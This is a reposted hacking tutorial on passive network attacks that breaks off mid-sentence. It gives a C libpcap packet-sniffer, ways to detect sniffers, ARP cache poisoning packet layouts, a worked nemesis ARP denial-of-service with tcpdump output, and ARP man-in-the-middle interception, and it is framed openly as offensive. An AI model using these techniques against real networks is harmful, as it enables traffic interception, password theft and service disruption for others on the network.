selamat datang

sehubungan dengan banyaknya permintaan tools dan ebook dalam bentuk cd,mohon mengganti biaya produksi dan kirimnya,sebab kami bukan milyuner yang kaya raya......................

Minggu, 22 Mei 2011

HACKING UNIX PART FIVE

PASSIVE NETWORK ATTACKS
-----------------------------------


& ** This is a multi-part tutorial,
& ** please check our website for other
& ** parts:
& ** http://www.duho.org/
&

INDEX:

1. - Introduction
2. - Sniffing shared networks
2.1 - Introduction
2.2 - Sniffer construction
2.3 - Sniffer detection
2.3.1 - Local
2.3.2 - Remote
3. - Sniffing switched networks
3.1 - Introduction
3.2 - ARP poisoning
3.2.1 - ARP Introduction
3.2.2 - ARP table poisoning
3.2.3 - DoS
3.2.4 - ARP Man in the Middle
3.2.5 - Detection
3.3 - Switch table poisoning
3.3.1 - Switch Introduction
3.3.2 - Switch redirection
3.3.3 - Man in the Middle

1. Introduction

So far we've been using knowledge about network protocols for information
gathering. In this part I will introduce you to using weaknesses in
networks for merely passive attacks.
{
A passive attack - unlike an active attack - does not (or less)
require the attacker to induce an exploit condition. In a passive
attack the attacker waits for the victim to make itself
vulnerable.
}
We will exploit these weaknesses to cause denial of service or remote
compromise of our target host.

2. Sniffing shared networks

2.1 Introduction

You have probably already heard of the term `sniffing'. Sniffing - when
used malicously - is a passive attack method. Sniffing will be discussed
first because sniffing will be used later for other attacks.

Sniffing basically is capturing network packets on the network. The
network packets ofcourse can contain valueable information.
Based on what information we want to sniff we divide sniffing in two
categories: header sniffing and data sniffing.

Header sniffing is usually used for network problem analyses purpose or
to learn more about network protocols.
{
A header means `protocol header of a packet'.
A header is like an envelope with addressing information and some
other information of a specific protocol.
This has been discussed in part 2 of Hacking Unix.
Header sniffing is displaying information from packet headers.
}
With header sniffing one can keep track of the sort of connections and
messages that pass the wire.

Data sniffing is almost always used for malicious purpose.
Data sniffing means capturing the payload (content) of each packet. For
example, a sniffer program may be able to record files being exchanged
through FTP data sessions, or email. But more likely a hacker will use a
password sniffer, which is also sort of a data sniffer that captures
logins and passwords of most well-known protocols (FTP, POP, TELNET).
{
Dsniff is a well-known data and password sniffer.
You can get it at:
http://naughty.monkey.org/~dugsong/dsniff/
}

2.2 Sniffer construction

A typicall sniffer program uses two key things:

* Raw socket
* Promisuous (optional) network interface

A sniffer registers a raw socket, which gives the sniffer access to all
packets that arrive at the kernel (the operating system). A socket is an
interface for the program and the kernel's network subsystem to
communicate with each other (network packets). When a program registers a
raw socket, this means that the kernel will send all packets it receives
to the raw socket as well.

A raw socket is opened with the socket() call with `SOCK_RAW' as `Type'
argument. I.e.: socket( AF_INET, SOCK_RAW, 0 );
{
Only a privileged user can open a raw socket
}

A network interface only passes packets destined to itself (it's adapter
address(MAC)) to the kernel (by default). Unless the network adapter is
set to `promiscuous mode'.
{
Only a privileged user can set the network device to promiscuous
mode
}
In Linux you can set the device in promiscuous mode using the ifconfig
command in this way:

ifconfig promisc

If your interface is eth0 you can do:

ifconfig eth0 promisc

How a sniffer program can open a network device in promiscuous mode will
be discussed later.

When the network device is in promiscuous mode, all data that goes over
the wire will be forwarded to the operating system. The kernel forwards
the packets to it's own IP module and to any open raw sockets. A malicious
(privileged) user or simply the admin can monitor all unencrypted traffic
that passes the wire.

When you are on a shared network architecture like a ring, bus or hubbed
star network, you will be able to sniff all the data that is on the LAN.
In a switched network, the switches know (learn) on which line (or `port')
every host is, and will send packets directly to the destination, which
means that each host should only receive packets destined to itself. A
switch improves security a little and increases network performance. There
are techniques to make the switch leak packets to the wrong lines which
will be discussed later.

Sniffers are hard to detect because it is a passive `attack' method. There
are methods to detect sniffers locally as well as remotely which will be
discussed in chapter 2.3.

A sniffer registers a raw socket. Raw sockets allow for user-space
processing of packets. They could be used to development new low-level
protocols in userspace for example. A normal network application
doesn't have to take care of lower level protocol details, the kernel's
networking stack does all this.
{
Programmers talk about "networking stack" or "TCP/IP stack"
because of the layered model that together form a stack.
}
The application receives the data send by the connected remote application
from the kernel using simple read() or recv() calls. The socket is the
interface between the kernel's TCP/UDP/IP (or whatever) stack and the
userspace application. A raw socket in contrary has access to all packets
that travel by. Which is why only a privileged process can open a raw
socket.

A raw socket programmer needs to have fairly good understanding of
protocol details. Information on how to handle the different protocols can
be found in their corresponding RFC's and in your operating system's
header files.
{
For non-programmers; "Header files" ofcourse have nothing to do
with "protocol headers". "Header files" or "include files" define
data types and functions available in the operating system's
library which the program will be linked with.
}

The operating system's header files define data structures for various
protocols which we can use to process various protocols.
For example, here's the IP header structure from the netinet/ip.h include:

/*
* Structure of an internet (IP) header, naked of options.
*/
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ip_hl:4; /* header length */
unsigned int ip_v:4; /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned int ip_v:4; /* version */
unsigned int ip_hl:4; /* header length */
#endif
u_int8_t ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_int8_t ip_ttl; /* time to live */
u_int8_t ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src, ip_dst; /* source and dest address */
};

For a sniffer program you can just #include this file, so you don't have
to study the RFC again. You can conveniently map the packet into the
structure, you just make a pointer with the type of that structure and
point it to the beginning of the IP header, which is calculated like this:

/* make pointer to ip header */
ip = (struct ip*)(packet + sizeof(struct ether_header));

Herein, `packet' is a pointer to the packet.
The packet looks like this in memory:

FFh
--------------------
| Application data |
--------------------
| TCP Header |
--------------------
| IP Header |
-------------------- <- (const struct ip *ip)
| Ethernet Header |
-------------------- <- (const u_char *packet)
00h

The structure ether_header{} is defined in net/ethernet.h. If we know the
size of the ethernet header we can add that to the value in `packet' (the
pointer) after which we point to the ip header. The struct ip perfectly
matches the fields in the IP Header. Now we can read out the IP
header values through the structure without worrying about where every IP
field is located.
We can use this to write a simple header sniffer.
{
To make a password sniffer, you have to find out where in the
packet the username and password will be for the various protocols
you want to sniff
}

Sadly, not all operating systems and hardware architectures work the same
way.
Some architectures have a different byte ordering and operating system have
different means of using raw sockets. Luckily there is a library called
`libpcap'; the packet capturing library. It works on many UNIX-like systems.
You can make portable programs that use raw sockets with it.
{
Portable means that the program can be built on different kinds of
operating systems and computer architectures (intel, sparc,
powerpc etc.).
}

Although I don't want to write a pcap tutorial, I will write a simplified
header sniffer. Tutorials on programming with pcap can be found on
http://www.tcpdump.org/. If you are not a programmer, then you shouldn't
worry if you don't understand any of this code. This code is just a sample
skeleton code, it is only usable to try out some things. If you are a
programmer i think you can write a complete sniffer after reading this
code.

There are much much better sniffers around. Like ethereal
(http://www.ethereal.com) that also use libpcap. And the tcpdump source
itself is a good read.

-- begin husniffer.c --
/*
* sniffer for Hacking UNIX by detach [http://www.duho.org/]
*
* Compile: gcc -o husniff husniff.c -lpcap
* Run: ./husniff [filter expression]
* Example: ./husniff 'port 23'
*
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

enum boole {
FALSE,
TRUE
};

#define IPv 4

void
proc_icmp( const u_char *packet, int eth_len, int ip_len )
{
struct icmphdr *icptr;

icptr = (struct icmphdr*) (packet+eth_len+ip_len);

switch (icptr->type)
{
case ICMP_ECHOREPLY:
printf("Echo Reply\n");
break;
case ICMP_DEST_UNREACH:
printf("Destination Unreachable: ");
switch(icptr->code)
{
case ICMP_NET_UNREACH:
printf("Net Unreachable\n");
break;
case ICMP_HOST_UNREACH:
printf("Host Unreachable\n");
break;
case ICMP_PROT_UNREACH:
printf("Protocol Unreachable\n");
break;
case ICMP_PORT_UNREACH:
printf("Port Unreachable\n");
break;
case ICMP_FRAG_NEEDED:
printf("Fragmentation needed\n");
break;
case ICMP_SR_FAILED:
printf("Source route failed\n");
break;
case ICMP_NET_UNKNOWN:
printf("Net Unknown\n");
break;
case ICMP_HOST_UNKNOWN:
printf("Host Unknown\n");
break;
case ICMP_HOST_ISOLATED:
printf("Host Isolated\n");
break;
case ICMP_NET_ANO:
printf("Access to network prohibited\n");
break;
case ICMP_HOST_ANO:
printf("Access to host prohibited\n");
break;
case ICMP_NET_UNR_TOS:
printf("Net Unreachable for that Type Of Service\n");
break;
case ICMP_HOST_UNR_TOS:
printf("Host Unreachable for that Type Of Service\n");
break;
case ICMP_PKT_FILTERED:
printf("Packet filtered\n");
break;
case ICMP_PREC_VIOLATION:
printf("Precedence violation\n");
break;
case ICMP_PREC_CUTOFF:
printf("Precedence cut off\n");
break;
default:
printf("Unknown code for this ICMP message type!\n");
}
break;
case ICMP_SOURCEQUENCH:
printf("Source Quench\n");
break;
case ICMP_REDIRECT:
printf("Redirect\n");
switch(icptr->code)
{
case ICMP_REDIR_NET:
printf("Redirect Net\n");
break;
case ICMP_REDIR_HOST:
printf("Redir Host\n");
break;
case ICMP_REDIR_NETTOS:
printf("Redirect Net for TOS\n");
break;
case ICMP_REDIR_HOSTTOS:
printf("Redir Host for TOS\n");
default:
printf("Unknown code for this ICMP message type!\n");
}
break;
case ICMP_ECHO:
printf("Echo Request\n");
break;
case ICMP_TIME_EXCEEDED:
printf("Time Exceeded: ");
switch( icptr->code )
{
case ICMP_EXC_TTL:
printf ("TTL exceeded\n");
break;
case ICMP_EXC_FRAGTIME:
printf ("Fragment reassembly exceeded\n");
break;
default:
printf("Unknown code for this ICMP message type!\n");
}
break;
case ICMP_PARAMETERPROB:
printf("Parameter Problem\n");
break;
case ICMP_TIMESTAMP:
printf("Time Stamp\n");
break;
case ICMP_TIMESTAMPREPLY:
printf("Time Stamp Reply\n");
break;
case ICMP_INFO_REQUEST:
printf("Info Request\n");
break;
case ICMP_INFO_REPLY:
printf("Info Reply\n");
break;
case ICMP_ADDRESS:
printf("Address Mask Request\n");
break;
case ICMP_ADDRESSREPLY:
printf("Address Mask Reply\n");
break;
default:
printf("Unknown ICMP Type[%d]\n", icptr->type);
}
}

void
proc_pkt( u_char *args, const struct pcap_pkthdr *header, const u_char *packet )
{
char *data;
struct tcphdr *tptr;
struct udphdr *uptr;
struct ip *iptr;
struct ether_header *eptr;
struct in_addr *ap;
int tcp_len = sizeof( struct tcphdr );
int udp_len = sizeof( struct udphdr );
int ip_len = sizeof( struct ip );
int eth_len = sizeof( struct ether_header );

/* ethernet header */
eptr = (struct ether_header*)(packet);

if (header->caplen < sizeof(struct ether_header))
{
fprintf( stderr, "Truncated packet!\n" );
return;
}

/* Only IP packets */
/* Add ARP, RARP support yourself */
if (ntohs(eptr->ether_type)==ETHERTYPE_IP)
{
printf("IP[%d]", header->len);
iptr = (struct ip*)(packet+eth_len);
/* do some here */
}
else
return;

if (iptr->ip_v != IPv)
{
fprintf( stderr, "Unknown IP version %d", iptr->ip_v );
return;
}

printf(" [ src; %s ", inet_ntoa(iptr->ip_src));
printf("dst; %s ] :", inet_ntoa(iptr->ip_dst));

/* switch to the appropriate protocol handler */
switch(iptr->ip_p)
{
case IPPROTO_IP:
printf(" -> DUMMY");
break;
case IPPROTO_IGMP:
printf(" -> IGMP\n");
/* do some here */
break;
case IPPROTO_ICMP:
printf(" -> ICMP: ");
proc_icmp(packet, eth_len, ip_len);
break;
case IPPROTO_UDP:
printf(" -> UDP\n");
/* do some here */
break;
case IPPROTO_TCP:
printf(" -> TCP\n");
/* do some here */
break;
default:
printf(" -> UNKNOWN[%d]\n", iptr->ip_p);
break;
}
}

int
main( int argc, char **argv )
{
char *dev, /* device name */
errbuf[PCAP_ERRBUF_SIZE];
pcap_t *handler; /* pointer to packet capture descriptor */
struct bpf_program filter; /* compiled filter */
char *app; /* uncompiled filter */
bpf_u_int32 net,
mask;

if (argc<2)
{
fprintf( stderr, "No filter set, sniffing all!\n");
app=NULL;
}
else
app = strdup(argv[1]);
dev = pcap_lookupdev( errbuf );
if (dev==NULL)
{
fprintf( stderr, "%s\n", errbuf );
exit( 1 );
}
printf( "Using device: %s\n", dev );

if (pcap_lookupnet( dev, &net, &mask, errbuf ) ==-1)
{
fprintf( stderr, "%s\n", errbuf );
exit( 1 );
}

/* open device promisc mode */
handler = pcap_open_live(dev, BUFSIZ, TRUE, 0, errbuf);
if (handler==NULL)
{
fprintf( stderr, "%s\n", errbuf );
exit( 1 );
}

/* compile filter */
if (pcap_compile( handler, &filter, app, FALSE, net ) ==-1)
{
fprintf( stderr, "ERROR: %s\n", pcap_geterr( handler ));
exit( 1 );
}

/* apply filter */
if (pcap_setfilter(handler, &filter)==-1)
{
fprintf( stderr, "ERROR: %s\n", pcap_geterr( handler ));
exit( 1 );
}

/* capture packets, handle with proc_pkt() function */
pcap_loop(handler, -1, &proc_pkt, NULL);

pcap_close(handler);

exit( 0 );
}
-- end husniffer.c --

If you don't want to use libpcap you have to write OS-dependent code.
Check the ip, tcp, ether etc. manpages of your OS. For example in Linux
you can read ip(7) etc. It is always good to read these man pages.

2.3 Sniffer detection

Even though sniffing is a passive `attack', sniffers can often be
detected locally and remotely.

2.3.1 Local

Often a sniffer will set the network device to promiscuous mode. With the
ifconfig command one can see if a device is in promiscuous mode:

# ifconfig xl0 # example on openbsd
xl0: flags=8943 mtu 1500
address: 00:01:02:00:00:00
media: Ethernet 10baseT (10baseT half-duplex)
inet 10.0.0.1 netmask 0xffffff00 broadcast 10.0.0.255
inet6 fe80::201:2ff:fe0b:36ea%xl0 prefixlen 64 scopeid 0x2
#

If you read the line with "flags=" you will see "PROMISC" there which
indicates the device is in promiscuous mode.

Ofcourse, there is no hacker that doesn't use some method to hide the
promiscuous flag of the interface, so the method is not reliable. The
hacker could have patched the ifconfig program, the kernel or used an
LKM to hide this information.

2.3.2 Remote

To detect a sniffer remotely you can think of trying to detect if the
interface is in promiscuous mode too.
What is difference does promiscuous mode make?
-> The kernel receives all packets

This causes more load on the system because the network card will generate
alot of hardware interrupts. So sniffer detection programs can for example
first ping the target system, then the detection program floods the target
with packets using a different MAC address than the target has. If the
device were in promiscuous mode this will give extra load. Then the
detection program pings again and if responses are slow it would indicate
the network device is in promiscuous mode.

One other method I discuss is the common feature in sniffers to do IP
address or hostname address lookups. When the sniffer receives packets
from some host it tries to lookup the IP address and/or hostname of the
sender (source MAC). What happens if a sniffer detection program sends
packets with an non-existing source MAC address to the broadcast address?
The host with the sniffer might generate a Reverse ARP request. Or, when
the host has a spoofed, non-existing source IP address and it tries to do
a DNS lookup on it, this would indicate a sniffer too.

There are more techniques to find out if a device is in promiscuous mode,
but this ain't a security tutorial :).

3. Sniffing switched networks

3.1 Introduction

Sniffing on switched networks should be a little harder than on
non-switched networks. In this chapter I will discuss a few techniques to
sniff traffic that you are not supposed to see.

3.2 ARP poisoning

3.2.1 ARP Introduction

ARP poisoning is a very easy and effective technique.
ARP (Address Resolutions Protocol) is a layer 3 protocol like RARP, IP
and Xerox PUP. They live on top of the link layer.
In the ethernet header there is the field `protocol type', this field
contains a 16-bit protocol ID. When the ethernet module receives a
packet destined to it's address it will read the protocol ID and give
the packet (stripped from the ethernet header) to the corresponding
layer 3 module. For example 0800h for IP.
In Linux the net/ethernet.h header file contains this information:

/* Ethernet protocol ID's */
#define ETHERTYPE_PUP 0x0200 /* Xerox PUP */
#define ETHERTYPE_IP 0x0800 /* IP */
#define ETHERTYPE_ARP 0x0806 /* Address resolution */
#define ETHERTYPE_REVARP 0x8035 /* Reverse ARP */

The ethernet header might look like this:

00 80 48 00 00 00 <- destination ethernet address (6 bytes; 48 bit)
00 01 02 00 00 00 <- source ethernet address (6 bytes; 48 bit)
08 00 <- protocol type `IP' (2 bytes; 16 bit)

You now know the position of the ARP in the OSI model:

--------------------
| ARP |
-------------------- <- layer 3
| Ethernet Link |
-------------------- <- layer 2
| Physical network |
-------------------- <- layer 1

Note that "Physical network" is just the ethernet frame being transmitted
on the wire before it reaches the ethernet module of the kernel. In case
of Ethernet it can be 10Base2 (thin-net), 10BaseT and 100BaseT (UTP),
10Base5 (thick-net). But who cares because this layer we won't have to
deal with.

The ethernet link, or simply the Link Layer is the logical link between
two systems on the same local network. The physical layer doesn't see
seperate connections.

You are probably wondering where ARP is for. It is a multi protocol
address resolution protocol. Let me explain this. I have showed you three
different layer 3 protocols. You find IP and PUP there, but there are more
protocols like DECNET and such. All these protocols share one problem.
When one of these protocols wants to send a packet, all these protocols
need to tranlate their protocol-specific address (like an IP address) to
the MAC address.
Instead of having all these protocols (like IP) implement their own
implementations of resolvers ARP was developed.

When, for example, IP wants to send a packet but doesn't know the address
of the destination, it calls the ARP module to look it up for 'm. The ARP
module looks up the IP address in the ARP cache table but doesn't find an
entry. It drops the packet and sends out an ARP Request to the broadcast
address. The packet being broadcasted causes the packet to reach every
host in the LAN. Only the host with the corresponding IP address is
supposed to reply. The requester receives the ARP reply packet and ARP
saves the MAC address along with it's corresponding IP address and a
timestamp in it's MAC table cache. Now the IP module tries to resend the
packet, and now the packet can be send.

The next time the IP wants to sent a packet to that host, the ARP will have
the answer available.
Every once in a while the ARP will want to refresh the entry to see if it's
still valid, this is called `aging'. It sends a request for all entries and
updates the entry's and adds a new time stamp.

ARP has another property, and I'll paste that from the ARP RFC #826:

---
... if A has some reason to talk to B, then B will probably have some
reason to talk to A. Notice also that if an entry already exists for the
pair, then the new hardware
address supersedes the old one ...
---

This ofcourse means that if we (host A) just send an ARP request to
another host B, then host B will add us to it's ARP table because it
assumes we want to communicate. The bonus for us is that if host A is
already in it's table, it will simply overwrite the entry.
This means that we can simply change any entry in host B's ARP table.

The specification also mentions that when host B receives an ARP reply -
even if it did not send an ARP request - it will not waste the chance to
update it's table with the received information. This way the timestamp is
renewed, and it will take some time before the entry is renewed.

3.2.2 ARP table poisoning

Over 10 years ago when they specified the ARP protocol, security wasn't
really thought of. All these decisions were made based on sparing
bandwidth.

You can understand that by spoofing the ARP packets you cause a host to
modify or add the entry which causes layer 3 addresses to be resolved to
the wrong MAC addresses.
All caused by simply by sending forged ARP replies or requests stating
that you are the host with the IP of the other end. This is ofcourse how
the ARP poisoning technique takes advantage of.

With ARP spoofing we can intercept traffic of a connection between two
hosts.
Consider this scheme:

|----------| |----------| |----------|
| Host A |----------| Switch |----------| Host B |
|----------| |----------| |----------|
192.168.0.1 | 192.168.0.2
00:20:AF:00:00:00 | 00:01:02:00:00:00
|----------|
| Host C |
|----------|
192.168.0.3
02:60:8c:00:00:00
(attacker host)

Say that Host B wants to initiate a TCP connection with Host A.
Host B does not yet have the MAC address of Host A in it's ARP table.
Before the connection is initiated Host C sends an ARP Reply packet with
the following ARP Header (simplified):

|--------------------------------------------|
| Destination: 00:01:02:00:00:00 (HB) |
| Source: 02:60:8c:00:00:00 (HC) | <- Ethernet Header
| Type: 0806h (ARP) |
|--------------------------------------------|
| Type Opcode: 0x0002 (ARP Reply) |
| Sender MAC address: 02:60:8c:00:00:00 (HC) | <- ARP Header
| Sender IP address: 192.168.0.1 (HA) |
| Target MAC address: 00:01:02:00:00:00 (HB) |
| Target IP address: 192.168.0.2 (HB) |
|--------------------------------------------|

Note: details on the ARP header will be detailed later

Such a packet could cause Host B to think that host with IP number
192.168.0.1 (Host A) has MAC address 02:60:8c:00:00:00 (Host C) which
will result in Host B sending packets to Host C when it really wants to
send them to host A. Also note that this kind of attack can easily be used
for denial of service. For example you could flood a host with spoofed ARP
reply's with nonexisting `Sender MAC' addresses.

Most ARP's in the various operating systems will add this MAC/IP pair to
the ARP cache table upon receipt of an ARP reply, but not all.
Most ARP's don't remember if they asked for the ARP Reply or not or don't
care and just add it to the table.
But a little more intelligent are the ones that only store such
information when there is a real clue that the source of the incoming
packet wants to communicate with them. For example Linux tries that. Like
I said before, if we send an ARP request to the host we want to poison we
could still get it's cache (or table) poisoned, because that host sees
that the source host has a clear interest in having it's address and
expects a new connection soon. For this we send a spoofed ARP request with
these properties:

|--------------------------------------------|
| Destination: 00:01:02:00:00:00 (HB) |
| Source: 02:60:8c:00:00:00 (HC) | <- Ethernet Header
| Type: 0806h (ARP) |
|--------------------------------------------|
| Type Opcode: 0x0001 (ARP Request) |
| Sender MAC address: 02:60:8c:00:00:00 (HC) |
| Sender IP address: 192.168.0.1 (HA) | <- ARP Header
| Target MAC address: 00:01:02:00:00:00 (HB) |
| Target IP address: 192.168.0.2 (HB) |
|--------------------------------------------|

The receiving ARP module gets the request and replies to what it thinks is
IP 192.168.0.1, but in reality is Host C (192.168.0.3).. it assumes that
192.168.0.1 will soon connect to it's system so it seems okay to store the
MAC/IP pair of 00:60:8c:00:00:00/192.168.0.1 in it's cache. Well, Host A
(192.168.0.1) doesn't contact him but the user on it's system wants to
connect to Host A. So the ethernet module calls ARP and asks if it knows
about IP 192.168.0.1, and clever ARP is happy to find it's MAC in the
table. The ethernet frame will be addressed to MAC address
00:60:8c:00:00:00 which really is Host C.

Now you are probably asking: "But how can I sniff a connection that cannot
be established?". Good one, that is being discussed later in this part
about "Man In The Middle Attack".

And now you probably want some time to play. Well first I think you
deserve some more theory about ARP ;-).

Here's what a complete ARP Request header looks like:

----
00 01 - 2 byte hardware type (0001h = ethernet)
08 00 - 2 byte protocol type (0800h = IP)
06 - 1 byte hardware address length (06h stands for 6 bytes (ethernet))
04 - 1 byte protocol address length (04h stands for 4 bytes (ip))
00 01 - 2 byte opcode (0001h is `request')
02 60 8c 00 00 00 - 6 byte sender MAC address
c0 a8 00 01 - 4 byte sender IP address (c0a80001h = 192.168.0.1)
00 01 02 00 00 00 - 6 byte target MAC address
c0 a8 00 02 - 4 byte target IP address (c0a80002h = 192.168.0.2)
----

An ARP reply has the same format, only the opcode is 0002h (reply).

We see some new fields in this complete header which weren't really
important for understanding the attack methodology, but they are important
to understand ARP. I explained that ARP is used to resolve layer 3 protocol
addresses. To make ARP layer 3 protocol independent it has a field
`protocol type' and `protocol address length'. These fields are important
to be able to handle ARP packets for different types of layer 3 protocols.

3.2.3 DoS

Now you are ready for some real hacking. We are going to poison someones
cache, please use some system you have access to so you can see the
effects.
Go to your Unix system and download the Nemesis program from
http://www.packetfactory.net/.

NOTE:
----
At the moment of writing nemesis version
1.32 does not support the latest Libnet version (1.1).
So if it doesn't compile, that is probably the problem.
This is a work-around:
Download Libnet version 1.0.2a (or another 1.0 version) in your home
directory. Now download Nemesis 1.32 to your home directory.
Change your working directory to ~/Libnet-1.0.2a and type:

./configure && make

Do not type 'make install'!

Now go to your nemesis directory.

Type './configure'.

If that worked open "./Makefile" in your favorite editor.

Go to the line with 'CFLAGS=' (at line 41 in my Makefile) and change the
line to:

CFLAGS = -Wall -O3 -funroll-loops -fomit-frame-pointer -pipe -I~/Libnet-1.0.2a/include -I/usr/local/include

Now go to the next line which should be 'LIBS ='.. change it to:

LIBS = -L~/Libnet-1.0.2a/lib -L/usr/local/lib -lpcap -lnet

Okay if you done everything right, nemesis will now link to Libnet
1.0x and should compile. Complete with; `make && make install'.

----

Okay I hope you all managed to install nemesis.

Let's do a sample denial of service attack.
Telnet or SSH to another system in your network. Find out the MAC address
of that system. My remote system was linux so i did "ifconfig eth0" and
found the MAC 00:20:AF:2E:C5:3E. Now open another term and issue this
nemesis command (requires root):

# nemesis-arp -v -S -D -h 00:00:00:00:00:00 -m -T -d eth1 -H 00:00:00:00:00:00 -M

Now your remote host should be non-responsive for some time... check it in
your other term, your telnet or ssh session must be hanging for a short
period.

My local IP address is 10.0.0.1 and my remote IP address that I have an SSH
session with is 10.0.0.20, look at this:

----
# nemesis-arp -v -S 10.0.0.1 -D 10.0.0.20 -h 00:00:00:00:00:00 -m 00:20:AF:2E:C5:3E -T -d eth1 -H 00:00:00:00:00:00 -M 00:20:AF:2E:C5:3E

ARP/RARP Packet Injection -=- The NEMESIS Project 1.32
Copyright (C) 1999, 2000, 2001 Mark Grimes
Portions copyright (C) 2001 Jeff Nathan

ARP REQUEST

[IP] 10.0.0.1 > 10.0.0.20
[MAC] 00:01:02:0B:36:EA > 00:20:AF:2E:C5:3E
Wrote 42 byte ARP packet through linktype 1

ARP Packet Injected
#
----

Why did it hang? Well let's watch the tcpdump (sniffer) output on my other
vterm:

----
# tcpdump -i eth1 -v
tcpdump: listening on eth1
00:07:20.312987 arp reply 10.0.0.1 (0:0:0:0:0:0) is-at 0:0:0:0:0:0
----

Very well, host 10.0.0.1 sent an ARP reply with MAC address spoofed!

Well let's see if it had worked:
See the arp command output on the remote host (10.0.0.20):

----
# arp
Address HWtype HWaddress Flags Mask Iface
10.0.0.1 ether 00:00:00:00:00:00 C eth0
#
----

Yes! The host simply overwrites the address.

Okay.. now let's send a ping packet (ICMP Echo Request) from 10.0.0.20
(after poisoning arp table) to 10.0.0.1 (firewall) and record it with
tcpdump on 10.0.0.1 (i have a hubbed LAN):
** Pay attention to the time stamps..
** The -e switch enabled link layer information to be printed
** Ohyeah `fuck' is the hostname of 10.0.0.20, i couldn't come up with
** anything original back then :)

----
# tcpdump -i eth1 -e -v
tcpdump: listening on eth1
11:25:52.827366 0:20:af:2e:c5:3e 0:0:0:0:0:0 ip 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84)
11:25:53.824663 0:20:af:2e:c5:3e 0:0:0:0:0:0 ip 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84)
11:25:54.824680 0:20:af:2e:c5:3e 0:0:0:0:0:0 ip 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84)
*** (and 26 more of these packets)

11:26:19.824612 0:20:af:2e:c5:3e 0:0:0:0:0:0 arp 60: arp who-has 10.0.0.1 tell fuck
11:26:19.825345 0:20:af:2e:c5:3e 0:0:0:0:0:0 ip 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84)
11:26:20.824629 0:20:af:2e:c5:3e 0:0:0:0:0:0 arp 60: arp who-has 10.0.0.1 tell fuck
11:26:20.825364 0:20:af:2e:c5:3e 0:0:0:0:0:0 ip 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84)
11:26:21.824644 0:20:af:2e:c5:3e 0:0:0:0:0:0 arp 60: arp who-has 10.0.0.1 tell fuck
11:26:21.825379 0:20:af:2e:c5:3e 0:0:0:0:0:0 ip 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84)
11:26:22.824659 0:20:af:2e:c5:3e Broadcast arp 60: arp who-has 10.0.0.1
tell fuck11:26:22.824682 0:1:2:b:36:ea 0:20:af:2e:c5:3e arp 42: arp reply 10.0.0.1 is-at 0:1:2:0:0:0
11:26:22.825719 0:20:af:2e:c5:3e 0:1:2:0:0:0 ip 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84)
11:26:22.825799 0:1:2:0:0:0 0:20:af:2e:c5:3e ip 98: 10.0.0.1 > fuck: icmp: echo reply (ttl 64, id 27574, len 84)
11:26:23.825146 0:20:af:2e:c5:3e 0:1:2:0:0:0 ip 98: fuck > 10.0.0.1: icmp: echo request (DF) (ttl 64, id 0, len 84)
11:26:23.825228 0:1:2:0:0:0 0:20:af:2e:c5:3e ip 98: 10.0.0.1 > fuck: icmp: echo reply (ttl 64, id 27575, len 84)

43 packets received by filter
0 packets dropped by kernel
#
----

Cool uh? It takes awhile before host 10.0.0.20 gives up and sends out the
ARP request.
Also note that 10.0.0.20 first sent 3 ARP Request's but to the hardware
address 00:00:00:00:00:00, so 10.0.0.1 doesn't read the packet! Then the
fourth time 10.0.0.20 decides to broadcast the packet, and then 10.0.0.1
does read the packet and sends the ARP reply.
This means that if we send a spoofed ARP reply about every 5 seconds, it
will go on forever. Let's see the output of ping on the 10.0.0.20 box:

----
$ ping 10.0.0.1
PING 10.0.0.1 (firewall): 56 octets data
64 octets from 10.0.0.1: icmp_seq=30 ttl=64 time=1.5 ms
64 octets from 10.0.0.1: icmp_seq=31 ttl=64 time=1.3 ms
64 octets from 10.0.0.1: icmp_seq=32 ttl=64 time=1.3 ms
~etcetera

--- 10.0.0.1 ping statistics ---
37 packets transmitted, 7 packets received, 81% packet loss
round-trip min/avg/max = 1.3/1.3/1.5 ms
$
----

What do you see? I see that the icmp_seq starts at 30. So the first reply we
got from 10.0.0.1 was after 31 packets! (seq starts with 0). PING - by
default - sends a packet each second, so it took about 30 seconds until ARP
renewed it's entry for 10.0.0.1 on this Linux 2.4.18 box.

3.2.4 ARP Man in the Middle

So how can ARP poisoning help us to sniff a system? If we poison their
tables, the packets do not arrive at the destination so there won't be
communication and nothing to sniff! I think you figured it out yourself..
we forward the packets to the real destination. For that we poison the
destination's arp table too... then all communication will go through us,
we will be like a gateway. This is called "Man in the Middle" attack
(MITM).

For MITM we make ourselves a gateway between to hosts using ARP poisoning.
See the scheme:

|--------| |--------| |--------|
| Host A [--------] Switch |-------] Host B |
|--------| |----_---| |--------|
\ | /
\ |----^---| /
\ _ _ _| Hacker |_ _ _/
|--------|

\_ _ = packet route

The hacker poisons the table of Host A to change the entry of Host B to
the address of host `Hacker'. And he poisons the table of Host B to change
the entry of Host A to the address of host `Hacker'. Host `Hacker'
forwards all packets, working like a gateway while sniffing all data. It
is also possible for host `Hacker' to manipulate the data before it
forwards it.

There is a very good tool that uses this method, it's called Ettercap and
you can get it here:
http://ettercap.sourceforge.net/

3.2.4 Detection

It is not that hard to detect the ARP poisoning. A program can monitor the
network for suspicious ARP activity. It is however not easy to protect
against this, if a host supports ARP it should be vulnerable.

3.3 Switch table poisoning

3.3.1 Switch introduction

The ARP poisoning technique was not really an attack against the switch
itself, but some host on the LAN. The technique I'm going to introduce now
is directed at the switch. I have first read about this technique in
phrack magazine issue 57 article 6. From the article a software project
called `taranis' was created and still exists at
http://www.bitland.net/taranis/.

This technique is just as easy as the ARP poisoning technique. To explain
